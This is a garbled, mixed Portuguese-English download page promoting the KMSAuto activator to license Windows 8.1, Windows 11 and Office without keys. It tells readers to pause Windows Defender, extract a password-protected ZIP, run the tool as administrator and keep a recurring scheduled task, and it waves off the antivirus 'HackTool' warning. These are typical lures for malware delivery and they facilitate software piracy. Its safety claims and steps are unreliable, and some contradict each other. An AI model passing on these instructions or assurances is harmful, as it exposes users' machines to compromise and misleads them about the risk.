Como Ativar Windows 8.1 Grátis 2026 — Guia Passo a Passo
Este artigo é o guia completo em português sobre Windows 8.1 em 2026. Activate Windows 8.1 Pro and Enterprise for free with KMSAuto Net 1.5.3 — 180-day renewable KMS lease, fully offline, no key required.
jVzGhe5iPaEste artigo é o guia completo em português sobre Windows 8.1 em 2026. Windows 8.1 is past Microsoft mainstream support but still runs on millions of older laptops and POS terminals. KMSAuto activates Pro, Enterprise and Embedded Industry editions via a local KMS lease — 180 days, auto-renews via scheduled task, fully offline.
Which method on 8.1?
HWID does not cover Windows 8.1 — use the KMS path.
- Pro / Enterprise → KMS (180-day renewable)
- Embedded Industry → KMS
- Core (regular Home) → KMS with GVLK swap
Step-by-step on 8.1
Standard 5-step workflow.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password jVzGhe5iPa
- Right-click KMSAuto.exe → 'Run as administrator'
- Pick the green button — HWID for Windows, Ohook for Office, TSforge for Server/ARM64
- Wait for 'Successfully activated' and reboot
Verify and auto-renew
slmgr /xpr should report 180 days remaining. KMSAuto installs a scheduled task that re-runs activation every 7 days — your activation stays valid forever as long as the task is enabled.
Frequently asked questions
▸Is the 2026 build safe?
Yes — unmodified Ratiborus mirror, SHA-256 verified, public VirusTotal report. The 'HackTool' flag is a generic detection that applies to every KMS-class activator. Archive password: jVzGhe5iPa.
▸Does it work on Windows 11 24H2 and 25H2?
Yes. HWID gives a permanent digital license on Home/Pro; TSforge handles Enterprise, LTSC, IoT and Server 2025.
▸Does it activate Office 2024 and Microsoft 365?
Yes — Office 2024 LTSC/Retail and Microsoft 365 Apps for Enterprise activate via the Ohook patch in seconds, fully offline.
▸Do I need a product key?
No. HWID generates a digital license tied to your hardware ID and Ohook patches Office locally — no key, no signup, no surveys.
▸What is the archive password?
jVzGhe5iPa — entered once when extracting the ZIP. After extraction, no password is needed to launch the tool.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: jVzGhe5iPa